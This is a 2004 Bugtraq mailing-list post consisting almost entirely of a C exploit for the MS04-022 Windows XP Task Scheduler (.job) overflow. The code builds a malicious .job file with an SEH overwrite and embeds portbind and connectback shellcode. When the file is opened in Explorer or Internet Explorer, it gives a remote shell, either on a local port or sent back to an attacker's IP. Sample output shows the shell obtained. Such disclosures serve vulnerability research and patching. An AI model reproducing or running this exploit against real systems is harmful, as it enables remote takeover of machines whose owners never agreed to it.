bugtraq - [EXPL] (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit

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Date: 31 Jul 2004 04:20:16 -0000
From: houseofdabus HOD <houseofdabus@...ox.ru>
To: bugtraq@...urityfocus.com
Subject: [EXPL] (MS04-022) Microsoft Windows XP Task Scheduler (.job)
    Universal Exploit




---snip--- 
/* HOD-ms04022-task-expl.c: 
 * 
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) 
Universal Exploit 
 * 
 * Exploit version 0.1 coded by 
 * 
 * 
 *                 .::[ houseofdabus ]::. 
 * 
 * 
 * [at inbox dot ru] 
 * ------------------------------------------------------------------- 
 * Tested on: 
 *    - Internet Explorer 6.0 (SP1) (iexplore.exe) 
 *    - Explorer (explorer.exe) 
 *    - Windows XP SP0, SP1 
 * 
 * ------------------------------------------------------------------- 
 * Compile: 
 *    Win32/VC++  : cl HOD-ms04022-task-expl.c 
 *    Win32/cygwin: gcc HOD-ms04022-task-expl.c 
-lws2_32.lib 
 *    Linux       : gcc -o HOD-ms04022-task-expl 
HOD-ms04022-task-expl.c 
 * 
 * ------------------------------------------------------------------- 
 * Command Line Parameters/Arguments: 
 * 
 *   HOD.exe <file> <shellcode> <bind/connectback port> 
[connectback IP] 
 * 
 *   Shellcode: 
 *        1 - Portbind shellcode 
 *        2 - Connectback shellcode 
 * 
 * ------------------------------------------------------------------- 
 * Example: 
 * 
 * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777 
 * 
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) 
Universal Exploit 
 * 
 * --- Coded by .::[ houseofdabus ]::. --- 
 * 
 * [*] Shellcode: Portbind, port = 7777 
 * [*] Generate file: expl.job 
 * 
 * C:\> 
 * 
 * start IE -> C:\ 
 * 
 * C:\>telnet localhost 7777 
 * Microsoft Windows XP [?????? 5.1.2600] 
 * (?) ?????????? ??????????, 1985-2001. 
 * 
 * C:\Documents and Settings\v.X\??????? ????> 
 * 
 * ------------------------------------------------------------------- 
 * 
 *   This is provided as proof-of-concept code only for 
educational 
 *   purposes and testing by authorized individuals with 
permission to 
 *   do so. 
 * 
 */ 
 
/* #define _WIN32 */ 
 
#include <stdio.h> 
#include <stdlib.h> 
 
#ifdef _WIN32 
#pragma comment(lib,"ws2_32") 
#include <winsock2.h> 
 
#else 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#endif 
 
 
 
unsigned char jobfile[] =  
 
/* job header */ 
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" 
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00" 
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00" 
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00" 
 
/* length */ 
"\x11\x11" 
 
/* garbage C:\... */ 
/* unicode */ 
"\x43\x00\x3A\x00\x5C\x00\x61\x00" 
"\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" 
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" 
 
"\x1E\x82\xDC\x77" 
 
/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */ 
/* for Win2k use jmp ebx or call ebx  */ 
 
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
"\x80\x31\x31\x80" /* generate exception */ 
 
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" 
"\x90\x90"; 
 
 
 
/* portbind shellcode */ 
unsigned char portbindsc[] =  
"\x90\x90" 
"\x90\x90\xEB\x06" /* overwrite SEH-frame */ 
"\x90\x90" 
"\x90\x90\x90\x90" 
"\x90\x90\x90\x90" 
 
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" 
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" 
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" 
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" 
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" 
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" 
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" 
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" 
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" 
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" 
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" 
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" 
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" 
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" 
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" 
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" 
"\x28\xff\x55\x0c"; 
 
 
 
/* connectback shellcode */ 
unsigned char connectbacksc[] =  
"\x90\x90" 
"\x90\x90\xEB\x06" /* overwrite SEH-frame */ 
"\x90\x90" 
"\x90\x90\x90\x90" 
"\x90\x90\x90\x90" 
 
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" 
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" 
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" 
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" 
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" 
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" 
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" 
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" 
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" 
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" 
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" 
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" 
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" 
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" 
"\x77\x38\xff\x55\x20\xff\x55\x0c"; 
 
 
 
/* use this form 
unsigned char sc[] =  
"\x90\x90" 
"\x90\x90\xEB\x06" - overwrite SEH-frame 
"\x90\x90" 
"\x90\x90\x90\x90" 
"\x90\x90\x90\x90" 
 
"... code ..."; 
*/ 
 
unsigned char endofjob[] = "\x00\x00\x00\x00"; 
 
#define SET_PORTBIND_PORT(buf, port) *(unsigned short 
*)(((buf)+300+16)) = (port) 
#define SET_CONNECTBACK_IP(buf, ip)     *(unsigned 
long *)(((buf)+283+16)) = (ip) 
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned 
short *)(((buf)+290+16)) = (port) 
 
void 
usage(char *prog) 
{ 
	printf("Usage:\n"); 
	printf("%s <file> <shellcode> <bind/connectback port> 
[connectback IP]\n", prog); 
	printf("\nShellcode:\n"); 
	printf("      1 - Portbind shellcode\n"); 
	printf("      2 - Connectback shellcode\n\n"); 
	exit(0); 
} 
 
int 
main(int argc, char **argv) 
{ 
	unsigned short strlen; 
	unsigned short port; 
	unsigned long ip, sc; 
	FILE *fp, *fp2; 
 
	printf("\n(MS04-022) Microsoft Windows XP Task 
Scheduler (.job) Universal Exploit\n\n"); 
	printf("--- Coded by .::[ houseofdabus ]::. ---\n\n"); 
 
	if (argc < 4) usage(argv[0]); 
 
	sc = atoi(argv[2]); 
	if ( ((sc == 2) && (argc < 5)) || (sc > 2)) 
usage(argv[0]); 
 
	fp = fopen(argv[1], "wb"); 
	if (fp == NULL) { 
		printf("[-] error: can\'t create file: %s\n", argv[1]); 
		exit(0); 
	} 
 
	/* header & garbage */ 
	fwrite(jobfile, 1, sizeof(jobfile)-1, fp); 
	fseek(fp, 39*16, SEEK_SET); 
 
	port = atoi(argv[3]); 
	printf("[*] Shellcode: "); 
	if (sc == 1) { 
		SET_PORTBIND_PORT(portbindsc, htons(port)); 
		printf("Portbind, port = %u\n", port); 
		fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp); 
		fwrite(endofjob, 1, 4, fp); 
		fseek(fp, 70, SEEK_SET); 
		/* calculate length (see header) */ 
		strlen = 
(sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2; 
	} 
	else { 
		ip = inet_addr(argv[4]); 
		SET_CONNECTBACK_IP(connectbacksc, ip); 
		SET_CONNECTBACK_PORT(connectbacksc, 
htons(port)); 
		printf("Connectback, port = %u, IP = %s\n", port, 
argv[4]); 
		fwrite(connectbacksc, 1, sizeof(connectbacksc)-1, 
fp); 
		fwrite(endofjob, 1, 4, fp); 
		fseek(fp, 70, SEEK_SET); 
		/* calculate length (see header) */ 
		strlen = 
(sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2; 
	} 
 
	printf("[*] Generate file: %s\n", argv[1]); 
	fwrite(&strlen, 1, 2, fp); 
	fclose(fp); 
 
return 0; 
} 
---snip---